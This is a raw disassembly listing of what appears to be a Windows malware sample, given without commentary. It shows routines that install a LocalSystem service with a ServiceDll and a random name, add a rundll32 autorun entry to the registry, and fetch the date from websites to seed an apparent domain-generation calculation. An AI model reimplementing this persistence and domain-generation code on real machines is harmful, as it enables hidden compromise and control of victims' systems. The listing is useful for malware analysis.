		test	eax, eax
		jz	loc_9A7DEB
		push	11h
		pop	ecx
		lea	eax, [ebp+104h+var_48]
		push	eax		; Source
		lea	eax, [ebp+104h+SubKey]
		mov	esi, offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services"
		lea	edi, [ebp+104h+var_48]
		push	eax		; Dest
		rep movsd
		call	wcscpy
		mov	esi, wcscat
		lea	eax, [ebp+104h+SubKey]
		push	offset asc_9A30BC ; "\\"
		push	eax		; Dest
		call	esi ; wcscat
		push	dword ptr [ebp+104h+Data] ; Source
		lea	eax, [ebp+104h+SubKey]
		push	eax		; Dest
		call	esi ; wcscat
		add	esp, 18h
		push	ebx		; lpdwDisposition
		lea	eax, [ebp+104h+hKey]
		push	eax		; phkResult
		push	ebx		; lpSecurityAttributes
		mov	edi, 0F003Fh
		push	edi		; samDesired
		push	ebx		; dwOptions
		push	ebx		; lpClass
		push	ebx		; Reserved
		lea	eax, [ebp+104h+SubKey]
		push	eax		; lpSubKey
		mov	esi, 80000002h
		push	esi		; hKey
		mov	[ebp+104h+var_168], ebx
		mov	[ebp+104h+psidOwner], ebx
		call	RegCreateKeyExW
		cmp	eax, 5
		jnz	short loc_9A7CA2
		lea	eax, [ebp+104h+var_168]
		push	eax		; int
		lea	eax, [ebp+104h+psidOwner]
		push	eax		; ppsidOwner
		lea	eax, [ebp+104h+var_48]
		push	eax		; int
		push	esi		; int
		call	sub_9A706C
		push	ebx
		lea	eax, [ebp+104h+var_48]
		push	eax
		push	esi
		call	sub_9A7001
		add	esp, 1Ch
		test	eax, eax
		jz	loc_9A7DD0
		push	ebx
		lea	eax, [ebp+104h+SubKey]
		push	eax
		push	esi
		call	sub_9A7001
		add	esp, 0Ch
		push	ebx		; lpdwDisposition
		lea	eax, [ebp+104h+hKey]
		push	eax		; phkResult
		push	ebx		; lpSecurityAttributes
		push	edi		; samDesired
		push	ebx		; dwOptions
		push	ebx		; lpClass
		push	ebx		; Reserved
		lea	eax, [ebp+104h+SubKey]
		push	eax		; lpSubKey
		push	esi		; hKey
		call	RegCreateKeyExW


loc_9A7CA2:				; CODE XREF: sub_9A7B42+10Dj
		cmp	eax, ebx
		jnz	loc_9A7DD0
		push	[ebp+104h+lpData] ; Str
		mov	edi, wcslen
		call	edi ; wcslen
		mov	esi, RegSetValueExW
		pop	ecx
		lea	eax, [eax+eax+2]
		push	eax		; cbData
		push	[ebp+104h+lpData] ; lpData
		push	1		; dwType
		push	ebx		; Reserved
		push	offset ValueName ; "DisplayName"
		push	[ebp+104h+hKey]	; hKey
		call	esi ; RegSetValueExW
		push	4		; cbData
		lea	eax, [ebp+104h+Data]
		push	eax		; lpData
		push	4		; dwType
		push	ebx		; Reserved
		push	offset aType	; "Type"
		push	[ebp+104h+hKey]	; hKey
		mov	dword ptr [ebp+104h+Data], 20h
		call	esi ; RegSetValueExW
		push	4		; cbData
		lea	eax, [ebp+104h+Data]
		push	eax		; lpData
		push	4		; dwType
		push	ebx		; Reserved
		push	offset aStart	; "Start"
		push	[ebp+104h+hKey]	; hKey
		mov	dword ptr [ebp+104h+Data], 2
		call	esi ; RegSetValueExW
		push	4		; cbData
		lea	eax, [ebp+104h+Data]
		push	eax		; lpData
		push	4		; dwType
		push	ebx		; Reserved
		push	offset aErrorcontrol ; "ErrorControl"
		push	[ebp+104h+hKey]	; hKey
		mov	dword ptr [ebp+104h+Data], ebx
		call	esi ; RegSetValueExW
		push	[ebp+104h+hMem]	; Str
		call	edi ; wcslen
		pop	ecx
		lea	eax, [eax+eax+2]
		push	eax		; cbData
		push	[ebp+104h+hMem]	; lpData
		push	2		; dwType
		push	ebx		; Reserved
		push	offset aImagepath ; "ImagePath"
		push	[ebp+104h+hKey]	; hKey
		call	esi ; RegSetValueExW
		push	18h		; cbData
		push	offset Data	; "LocalSystem"
		push	1		; dwType
		push	ebx		; Reserved
		push	offset aObjectname ; "ObjectName"
		push	[ebp+104h+hKey]	; hKey
		call	esi ; RegSetValueExW
		push	[ebp+104h+var_174] ; Str
		call	edi ; wcslen
		pop	ecx
		lea	eax, [eax+eax+2]
		push	eax		; cbData
		push	[ebp+104h+var_174] ; lpData
		push	1		; dwType
		push	ebx		; Reserved
		push	offset aDescription ; "Description"
		push	[ebp+104h+hKey]	; hKey
		call	esi ; RegSetValueExW
		push	ebx		; lpdwDisposition
		lea	eax, [ebp+104h+phkResult]
		push	eax		; phkResult
		push	ebx		; lpSecurityAttributes
		push	20006h		; samDesired
		push	ebx		; dwOptions
		push	ebx		; lpClass
		push	ebx		; Reserved
		push	offset aParameters_0 ; "Parameters"
		push	[ebp+104h+hKey]	; hKey
		call	RegCreateKeyExW
		test	eax, eax
		jnz	short loc_9A7DB0
		push	[ebp+104h+var_170] ; Str
		call	edi ; wcslen
		pop	ecx
		lea	eax, [eax+eax+2]
		push	eax		; cbData
		push	[ebp+104h+var_170] ; lpData
		push	2		; dwType
		push	ebx		; Reserved
		push	offset aServicedll ; "ServiceDll"
		push	[ebp+104h+phkResult] ; hKey
		call	esi ; RegSetValueExW
		push	[ebp+104h+phkResult] ; hKey
		call	RegCloseKey
		mov	[ebp+104h+var_180], 1


loc_9A7DB0:				; CODE XREF: sub_9A7B42+241j
		push	[ebp+104h+hKey]	; hKey
		call	RegFlushKey
		push	[ebp+104h+hKey]	; hKey
		call	sub_9A6CF7
		pop	ecx
		push	[ebp+104h+hKey]	; hKey
		call	RegCloseKey
		mov	esi, 80000002h


loc_9A7DD0:				; CODE XREF: sub_9A7B42+137j
					; sub_9A7B42+162j
		cmp	[ebp+104h+var_168], ebx
		jz	short loc_9A7DEB
		push	[ebp+104h+var_168] ; int
		lea	eax, [ebp+104h+var_48]
		push	[ebp+104h+psidOwner] ; psidOwner
		push	eax		; int
		push	esi		; int
		call	sub_9A70DD
		add	esp, 10h


loc_9A7DEB:				; CODE XREF: sub_9A7B42+A1j
					; sub_9A7B42+291j
		push	[ebp+104h+hMem]	; hMem
		call	GlobalFree
		mov	eax, [ebp+104h+var_180]


loc_9A7DF7:				; CODE XREF: sub_9A7B42+77j
		mov	ecx, [ebp+104h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 104h
		leave
		retn
sub_9A7B42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h

; int __cdecl sub_9A7E0F(char *Str)

sub_9A7E0F	proc near		; CODE XREF: sub_9A3715+12Cp

Memory		= dword	ptr -33Ch
hMem		= dword	ptr -338h
var_334		= dword	ptr -334h
psidOwner	= dword	ptr -330h
var_32C		= dword	ptr -32Ch
phkResult	= dword	ptr -328h
hKey		= dword	ptr -324h
Data		= byte ptr -320h
var_11A		= word ptr -11Ah
Dst		= byte ptr -118h
Dest		= word ptr -98h
ValueName	= word ptr -18h
var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 33Ch
		mov	eax, dword_9B8788
		xor	eax, ebp
		push	ebx
		mov	[ebp+74h+var_4], eax
		mov	eax, [ebp+74h+Str]
		push	edi
		xor	edi, edi
		push	eax		; Str
		mov	[ebp+74h+phkResult], eax
		mov	[ebp+74h+var_334], edi
		call	strlen
		mov	ebx, eax
		pop	ecx
		lea	eax, [ebx+ebx+2]
		push	eax		; dwBytes
		push	40h		; uFlags
		mov	[ebp+74h+var_32C], ebx
		call	GlobalAlloc
		cmp	eax, edi
		mov	[ebp+74h+hMem],	eax
		jnz	short loc_9A7E64
		xor	eax, eax
		jmp	loc_9A8122
; ---------------------------------------------------------------------------


loc_9A7E64:				; CODE XREF: sub_9A7E0F+4Cj
		mov	eax, dword_9BB1DC
		xor	eax, 84C3562Ch
		push	esi
		push	eax		; Seed
		call	srand
		pop	ecx
		call	sub_9A7374
		mov	esi, rand
		mov	[ebp+74h+Memory], eax
		call	esi ; rand
		push	8
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jnz	short loc_9A7EAF
		call	esi ; rand
		push	5
		pop	ecx
		cdq
		idiv	ecx
		lea	eax, [ebp+74h+Dst]
		add	edx, ecx
		push	edx
		push	eax
		call	sub_9A5E95
		pop	ecx
		pop	ecx
		jmp	short loc_9A7EC4
; ---------------------------------------------------------------------------


loc_9A7EAF:				; CODE XREF: sub_9A7E0F+83j
		push	80h		; Size
		lea	eax, [ebp+74h+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	memset
		add	esp, 0Ch


loc_9A7EC4:				; CODE XREF: sub_9A7E0F+9Ej
		call	esi ; rand
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jz	short loc_9A7F2E
		call	esi ; rand
		push	26h
		xor	edx, edx
		pop	ecx
		div	ecx
		mov	ebx, edx


loc_9A7EDB:				; CODE XREF: sub_9A7E0F+DDj
		call	esi ; rand
		push	26h
		xor	edx, edx
		pop	ecx
		div	ecx
		cmp	ebx, edx
		mov	[ebp+74h+psidOwner], edx
		jz	short loc_9A7EDB
		push	off_9B82B0[ebx*4] ; Source
		lea	eax, [ebp+74h+Dest]
		push	eax		; Dest
		call	wcscpy
		mov	ebx, wcscat
		lea	eax, [ebp+74h+Dest]
		push	offset asc_9A31E0 ; " "
		push	eax		; Dest
		call	ebx ; wcscat
		mov	eax, [ebp+74h+psidOwner]
		push	off_9B82B0[eax*4] ; Source
		lea	eax, [ebp+74h+Dest]
		push	eax		; Dest
		call	ebx ; wcscat
		mov	ebx, [ebp+74h+var_32C]
		add	esp, 18h
		jmp	short loc_9A7F44
; ---------------------------------------------------------------------------


loc_9A7F2E:				; CODE XREF: sub_9A7E0F+BFj
		call	esi ; rand
		push	5
		pop	ecx
		cdq
		idiv	ecx
		lea	eax, [ebp+74h+Dest]
		add	edx, ecx
		push	edx
		push	eax
		call	sub_9A5E95
		pop	ecx
		pop	ecx


loc_9A7F44:				; CODE XREF: sub_9A7E0F+11Dj
		inc	ebx
		push	ebx		; cchWideChar
		push	[ebp+74h+hMem]	; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	[ebp+74h+phkResult] ; lpMultiByteStr
		push	edi		; dwFlags
		push	edi		; CodePage
		call	MultiByteToWideChar
		test	eax, eax
		jz	loc_9A80FD
		mov	ecx, [ebp+74h+Memory]
		push	offset dword_9A13E4 ; Str
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+Dst]
		push	eax		; int
		push	[ebp+74h+hMem]	; int
		call	sub_9A7B42
		add	esp, 10h
		cmp	eax, edi
		mov	[ebp+74h+var_334], eax
		jnz	loc_9A80F8
		mov	eax, dword_9BB1DC
		xor	eax, 293BF4D3h
		push	eax		; Seed
		call	srand
		call	esi ; rand
		push	5
		pop	ecx
		cdq
		idiv	ecx
		lea	eax, [ebp+74h+ValueName]
		add	edx, ecx
		push	edx
		push	eax
		call	sub_9A5E95
		push	offset aNmqflzhf ; "nmqflzhf"
		push	[ebp+74h+hMem]
		lea	eax, [ebp+74h+Data]
		push	offset aRundll32_exeSS ; "rundll32.exe \"%s\",%S"
		push	104h		; Count
		push	eax		; Dest
		call	_snwprintf
		mov	ebx, RegCreateKeyExW
		add	esp, 20h
		mov	[ebp+74h+var_11A], di
		mov	[ebp+74h+hKey],	80000002h
		mov	esi, offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...


loc_9A7FFC:				; CODE XREF: sub_9A7E0F+2E3j
		cmp	[ebp+74h+hKey],	80000001h
		jb	loc_9A80F8
		push	edi		; lpdwDisposition
		lea	eax, [ebp+74h+phkResult]
		push	eax		; phkResult
		push	edi		; lpSecurityAttributes
		push	2		; samDesired
		push	edi		; dwOptions
		push	edi		; lpClass
		push	edi		; Reserved
		push	esi		; lpSubKey
		push	[ebp+74h+hKey]	; hKey
		mov	[ebp+74h+var_32C], edi
		mov	[ebp+74h+psidOwner], edi
		call	ebx ; RegCreateKeyExW
		cmp	eax, 5
		jnz	short loc_9A8079
		lea	eax, [ebp+74h+var_32C]
		push	eax		; int
		lea	eax, [ebp+74h+psidOwner]
		push	eax		; ppsidOwner
		push	esi		; int
		push	[ebp+74h+hKey]	; int
		call	sub_9A706C
		push	edi
		push	esi
		push	[ebp+74h+hKey]
		call	sub_9A7001
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_9A80C4
		push	edi		; lpdwDisposition
		lea	eax, [ebp+74h+phkResult]
		push	eax		; phkResult
		push	edi		; lpSecurityAttributes
		push	2		; samDesired
		push	edi		; dwOptions
		push	edi		; lpClass
		push	edi		; Reserved
		push	esi		; lpSubKey
		push	[ebp+74h+hKey]	; hKey
		call	ebx ; RegCreateKeyExW


loc_9A8079:				; CODE XREF: sub_9A7E0F+223j
		cmp	eax, edi
		jnz	short loc_9A80C4
		lea	eax, [ebp+74h+Data]
		push	eax		; Str
		call	wcslen
		pop	ecx
		lea	eax, [eax+eax+2]
		push	eax		; cbData
		lea	eax, [ebp+74h+Data]
		push	eax		; lpData
		push	1		; dwType
		push	edi		; Reserved
		lea	eax, [ebp+74h+ValueName]
		push	eax		; lpValueName
		push	[ebp+74h+phkResult] ; hKey
		call	RegSetValueExW
		test	eax, eax
		jnz	short loc_9A80B8
		mov	[ebp+74h+var_334], 1


loc_9A80B8:				; CODE XREF: sub_9A7E0F+29Dj
		push	[ebp+74h+phkResult] ; hKey
		call	RegCloseKey


loc_9A80C4:				; CODE XREF: sub_9A7E0F+251j
					; sub_9A7E0F+26Cj
		cmp	[ebp+74h+var_32C], edi
		jz	short loc_9A80E6
		push	[ebp+74h+var_32C] ; int
		push	[ebp+74h+psidOwner] ; psidOwner
		push	esi		; int
		push	80000002h	; int
		call	sub_9A70DD
		add	esp, 10h


loc_9A80E6:				; CODE XREF: sub_9A7E0F+2BBj
		dec	[ebp+74h+hKey]
		cmp	[ebp+74h+var_334], edi
		jz	loc_9A7FFC


loc_9A80F8:				; CODE XREF: sub_9A7E0F+181j
					; sub_9A7E0F+1F7j
		call	sub_9A731F


loc_9A80FD:				; CODE XREF: sub_9A7E0F+14Fj
		push	[ebp+74h+Memory] ; Memory
		call	free
		pop	ecx
		push	[ebp+74h+hMem]	; hMem
		call	GlobalFree
		call	sub_9A5D1A
		mov	eax, [ebp+74h+var_334]
		pop	esi


loc_9A8122:				; CODE XREF: sub_9A7E0F+50j
		mov	ecx, [ebp+74h+var_4]
		pop	edi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 74h
		leave
		retn
sub_9A7E0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A8133	proc near		; CODE XREF: sub_9A8179+25p
		push	ebx
		xor	ebx, ebx
		test	esi, esi
		jz	short loc_9A8175
		cmp	eax, 5FFh
		jbe	short loc_9A8175
		push	edi
		lea	edi, [eax-200h]
		push	edi		; int
		push	esi		; int
		lea	eax, [esi+eax-200h]
		push	eax		; int
		push	dword_9B8348	; int
		push	offset dword_9B8350 ; Src
		call	sub_9A8C4C
		add	esp, 14h
		test	eax, eax
		jz	short loc_9A8174
		push	edi		; nNumberOfBytesToWrite
		push	esi		; int
		call	sub_9A7214
		pop	ecx
		pop	ecx
		mov	ebx, eax


loc_9A8174:				; CODE XREF: sub_9A8133+34j
		pop	edi


loc_9A8175:				; CODE XREF: sub_9A8133+5j
					; sub_9A8133+Cj
		mov	eax, ebx
		pop	ebx
		retn
sub_9A8133	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A8179	proc near		; CODE XREF: sub_9A857A+271p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		xor	edi, edi
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_9A60D7
		mov	esi, eax
		add	esp, 0Ch
		cmp	esi, edi
		jz	short loc_9A81AC
		mov	eax, [ebp+var_4]
		cmp	eax, edi
		jz	short loc_9A81A5
		call	sub_9A8133
		mov	edi, eax


loc_9A81A5:				; CODE XREF: sub_9A8179+23j
		push	esi		; hMem
		call	GlobalFree


loc_9A81AC:				; CODE XREF: sub_9A8179+1Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_9A8179	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=3A0h

; int __fastcall sub_9A81B2(LPCSTR lpszUrl,int,int)

sub_9A81B2	proc near		; CODE XREF: sub_9A82C5+43p

dwFlags		= dword	ptr -420h
hInternet	= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
cbSize		= dword	ptr -40Ch
var_405		= byte ptr -405h
szAgent		= byte ptr -404h
var_403		= byte ptr -403h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-3A0h]
		sub	esp, 420h
		mov	eax, dword_9B8788
		xor	eax, ebp
		push	ebx
		mov	[ebp+3A0h+var_4], eax
		mov	eax, [ebp+3A0h+arg_0]
		push	esi
		xor	ebx, ebx
		mov	[ebp+3A0h+var_418], eax
		push	ebx		; dwReserved
		lea	eax, [ebp+3A0h+dwFlags]
		push	eax		; lpdwFlags
		mov	esi, ecx
		mov	[ebp+3A0h+var_405], bl
		call	InternetGetConnectedState
		test	eax, eax
		jz	loc_9A82AB
		push	edi
		xor	eax, eax
		mov	[ebp+3A0h+szAgent], bl
		mov	ecx, 0FFh
		lea	edi, [ebp+3A0h+var_403]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+3A0h+cbSize]
		push	eax		; cbSize
		lea	eax, [ebp+3A0h+szAgent]
		push	eax		; pszUAOut
		push	ebx		; dwOption
		mov	[ebp+3A0h+cbSize], 400h
		call	ObtainUserAgentString
		push	ebx		; dwFlags
		push	ebx		; lpszProxyBypass
		push	ebx		; lpszProxy
		push	ebx		; dwAccessType
		lea	eax, [ebp+3A0h+szAgent]
		push	eax		; lpszAgent
		call	InternetOpenA
		cmp	eax, ebx
		mov	[ebp+3A0h+hInternet], eax
		jz	short loc_9A82AA
		push	ebx		; dwContext
		push	84080300h	; dwFlags
		push	ebx		; dwHeadersLength
		push	ebx		; lpszHeaders
		push	esi		; lpszUrl
		push	eax		; hInternet
		call	InternetOpenUrlA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_9A82A1
		mov	edi, HttpQueryInfoA
		lea	eax, [ebp+3A0h+var_410]
		push	eax
		lea	eax, [ebp+3A0h+cbSize]
		push	eax
		lea	eax, [ebp+3A0h+var_414]
		push	eax
		push	20000013h
		push	esi
		mov	[ebp+3A0h+var_410], ebx
		mov	[ebp+3A0h+cbSize], 4
		call	edi ; HttpQueryInfoA
		test	eax, eax
		jz	short loc_9A829A
		cmp	[ebp+3A0h+var_414], 0C8h
		jnz	short loc_9A829A
		mov	eax, [ebp+3A0h+arg_4]
		mov	[ebp+3A0h+cbSize], eax
		lea	eax, [ebp+3A0h+var_410]
		push	eax
		lea	eax, [ebp+3A0h+cbSize]
		push	eax
		push	[ebp+3A0h+var_418]
		mov	[ebp+3A0h+var_410], ebx
		push	9
		push	esi
		call	edi ; HttpQueryInfoA
		test	eax, eax
		jz	short loc_9A829A
		mov	[ebp+3A0h+var_405], 1


loc_9A829A:				; CODE XREF: sub_9A81B2+B9j
					; sub_9A81B2+C2j ...
		push	esi		; hInternet
		call	InternetCloseHandle


loc_9A82A1:				; CODE XREF: sub_9A81B2+91j
		push	[ebp+3A0h+hInternet] ; hInternet
		call	InternetCloseHandle


loc_9A82AA:				; CODE XREF: sub_9A81B2+7Bj
		pop	edi


loc_9A82AB:				; CODE XREF: sub_9A81B2+3Aj
		mov	ecx, [ebp+3A0h+var_4]
		mov	al, [ebp+3A0h+var_405]
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 3A0h
		leave
		retn
sub_9A81B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=398h


sub_9A82C5	proc near		; CODE XREF: sub_9A83C7+56p

var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
Str		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-398h]
		sub	esp, 418h
		mov	eax, dword_9B8788
		and	[ebp+398h+var_40C], 0
		xor	eax, ebp
		mov	[ebp+398h+var_4], eax
		mov	eax, [ebp+398h+arg_0]
		mov	[ebp+398h+var_408], eax
		mov	eax, [ebp+398h+arg_4]
		mov	[ebp+398h+var_418], eax
		mov	eax, [ebp+398h+arg_8]
		mov	[ebp+398h+var_414], eax
		lea	eax, [ebp+398h+Str]
		push	400h
		push	eax		; int
		call	sub_9A81B2
		test	al, al
		pop	ecx
		pop	ecx
		jz	loc_9A83AF
		push	esi
		mov	esi, strtok
		push	edi
		mov	edi, offset Delim ; ", "
		lea	eax, [ebp+398h+Str]
		push	edi		; Delim
		push	eax		; Str
		call	esi ; strtok
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A83AD
		push	edi		; Delim
		push	0		; Str
		call	esi ; strtok
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A83AD
		push	ebx
		mov	ebx, atoi
		push	eax		; Str
		call	ebx ; atoi
		mov	ecx, [ebp+398h+var_408]
		push	edi		; Delim
		push	0		; Str
		mov	[ecx], ax
		call	esi ; strtok
		add	esp, 0Ch
		test	eax, eax
		mov	[ebp+398h+var_410], eax
		jz	short loc_9A83AC
		and	[ebp+398h+var_408], 0


loc_9A835F:				; CODE XREF: sub_9A82C5+BDj
		mov	eax, [ebp+398h+var_408]
		push	3		; MaxCount
		push	[ebp+398h+var_410] ; Str
		push	off_9B8570[eax*4] ; Str1
		call	_strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_9A8386
		inc	[ebp+398h+var_408]
		cmp	[ebp+398h+var_408], 0Ch
		jb	short loc_9A835F
		jmp	short loc_9A8390
; ---------------------------------------------------------------------------


loc_9A8386:				; CODE XREF: sub_9A82C5+B4j
		mov	eax, [ebp+398h+var_408]
		mov	ecx, [ebp+398h+var_418]
		inc	eax
		mov	[ecx], ax


loc_9A8390:				; CODE XREF: sub_9A82C5+BFj
		push	edi		; Delim
		push	0		; Str
		call	esi ; strtok
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A83AC
		push	eax		; Str
		call	ebx ; atoi
		pop	ecx
		mov	ecx, [ebp+398h+var_414]
		mov	[ecx], ax
		mov	[ebp+398h+var_40C], 1


loc_9A83AC:				; CODE XREF: sub_9A82C5+94j
					; sub_9A82C5+D4j
		pop	ebx


loc_9A83AD:				; CODE XREF: sub_9A82C5+6Aj
					; sub_9A82C5+75j
		pop	edi
		pop	esi


loc_9A83AF:				; CODE XREF: sub_9A82C5+4Cj
		mov	ecx, [ebp+398h+var_4]
		mov	eax, [ebp+398h+var_40C]
		xor	ecx, ebp
		call	sub_9AAAC1
		add	ebp, 398h
		leave
		retn
sub_9A82C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A83C7	proc near		; CODE XREF: sub_9A857A+49p

FileTime	= _FILETIME ptr	-3Ch
Dst		= word ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
Dest		= byte ptr -24h
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		mov	eax, dword_9B8788
		push	ebx
		xor	eax, ebp
		push	10h		; Size
		mov	[ebp+var_4], eax
		xor	ebx, ebx
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	memset
		push	offset dword_9BB310
		call	sub_9AA638
		and	eax, 7
		push	off_9B8550[eax*4]
		lea	eax, [ebp+Dest]
		push	offset aHttpWww_S ; "http://www.%s"
		push	20h		; Count
		push	eax		; Dest
		call	_snprintf
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_32]
		push	eax
		lea	eax, [ebp+var_2E]
		push	eax
		lea	ecx, [ebp+Dest]
		mov	[ebp+var_5], bl
		call	sub_9A82C5
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_9A843B
		cmp	[ebp+var_2E], bx
		jz	short loc_9A843B
		cmp	[ebp+var_32], bx
		jz	short loc_9A843B
		cmp	[ebp+Dst], bx
		jnz	short loc_9A8459


loc_9A843B:				; CODE XREF: sub_9A83C7+60j
					; sub_9A83C7+66j ...
		lea	eax, [ebp+Dst]
		push	eax		; lpSystemTime
		call	GetSystemTime
		mov	[ebp+var_30], bx
		mov	[ebp+var_2C], bx
		mov	[ebp+var_26], bx
		mov	[ebp+var_2A], bx
		mov	[ebp+var_28], bx


loc_9A8459:				; CODE XREF: sub_9A83C7+72j
		lea	eax, [ebp+FileTime]
		push	eax		; lpFileTime
		lea	eax, [ebp+Dst]
		push	eax		; lpSystemTime
		call	SystemTimeToFileTime
		push	2
		push	682D10B7h
		push	[ebp+FileTime.dwHighDateTime]
		push	[ebp+FileTime.dwLowDateTime]
		call	__allmul
		push	192h
		push	54D38000h
		push	edx
		push	eax
		call	__aulldiv
		mov	ecx, [ebp+var_4]
		add	eax, 0F1E34A09h
		adc	edx, ebx
		xor	ecx, ebp
		mov	dword ptr dbl_9B8770, eax
		mov	dword ptr dbl_9B8770+4,	edx
		pop	ebx
		call	sub_9AAAC1
		leave
		retn
sub_9A83C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A84A9	proc near		; CODE XREF: sub_9A857A+9Ap
					; sub_9A857A+CEp ...

var_30		= qword	ptr -30h
var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	ecx, dword ptr dbl_9B8770+4
		mov	eax, dword ptr dbl_9B8770
		and	dword ptr [ebp+var_8], 0
		push	esi
		mov	edx, ecx
		push	edi
		mov	dword ptr [ebp+var_8+4], edx
		mov	edi, 7FFFFFFFh
		and	edx, edi
		mov	dword ptr [ebp+var_10],	eax
		mov	dword ptr [ebp+var_10+4], edx
		fild	[ebp+var_10]
		mov	esi, 80000000h
		and	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		and	dword ptr [ebp+var_8], 0
		mov	dword ptr [ebp+var_8+4], ecx
		and	dword ptr [ebp+var_8+4], esi
		fchs
		and	ecx, edi
		faddp	st(1), st
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], ecx
		push	ecx
		fstp	[ebp+var_10]
		push	ecx
		fild	[ebp+var_18]
		fild	[ebp+var_8]
		fchs
		faddp	st(1), st
		fstp	[esp+30h+var_30]
		call	sin
		add	esp, 8
		fstp	[ebp+var_20]
		push	0
		push	4F3D859Eh
		push	dword ptr dbl_9B8770+4
		push	dword ptr dbl_9B8770
		call	__allmul
		and	dword ptr [ebp+var_8], 0
		mov	dword ptr [ebp+var_8+4], edx
		and	dword ptr [ebp+var_8+4], esi
		and	edx, edi
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		fild	[ebp+var_8]
		push	ecx
		fchs
		faddp	st(1), st
		fadd	[ebp+var_20]
		fmul	[ebp+var_10]
		fadd	dbl_9A3508
		fmul	[ebp+var_10]
		fstp	[ebp+var_20]
		fld	[ebp+var_10]
		fstp	[esp+30h+var_30]
		call	log
		fadd	[ebp+var_20]
		pop	ecx
		pop	ecx
		pop	edi
		fstp	dbl_9B8770
		mov	eax, dword ptr dbl_9B8770
		pop	esi
		leave
		retn
sub_9A84A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A857A	proc near		; CODE XREF: StartAddress:loc_9A3C46p

var_8B4		= dword	ptr -8B4h
Dst		= dword	ptr -8A4h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
hMem		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
Dest		= byte ptr -9Ch
var_1D		= byte ptr -1Dh
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	894h
		push	offset stru_9A3520
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		xor	edi, edi
		mov	[ebp+var_B0], edi
		mov	[ebp+hMem], edi
		push	7D0h		; Size
		push	edi		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset
		add	esp, 0Ch
		mov	[ebp+ms_exc.disabled], edi
		push	offset dword_9BB310 ; dwBytes
		call	sub_9AA577
		call	sub_9A83C7
		mov	[esp+8B4h+var_8B4], 30D40h
		push	40h		; uFlags
		call	GlobalAlloc
		mov	[ebp+hMem], eax
		cmp	eax, edi
		jz	loc_9A8862


loc_9A85E5:				; CODE XREF: sub_9A857A+131j
		mov	[ebp+var_A0], edi
		cmp	edi, 0C350h
		jnb	loc_9A86B0
		push	20h		; dwBytes
		push	40h		; uFlags
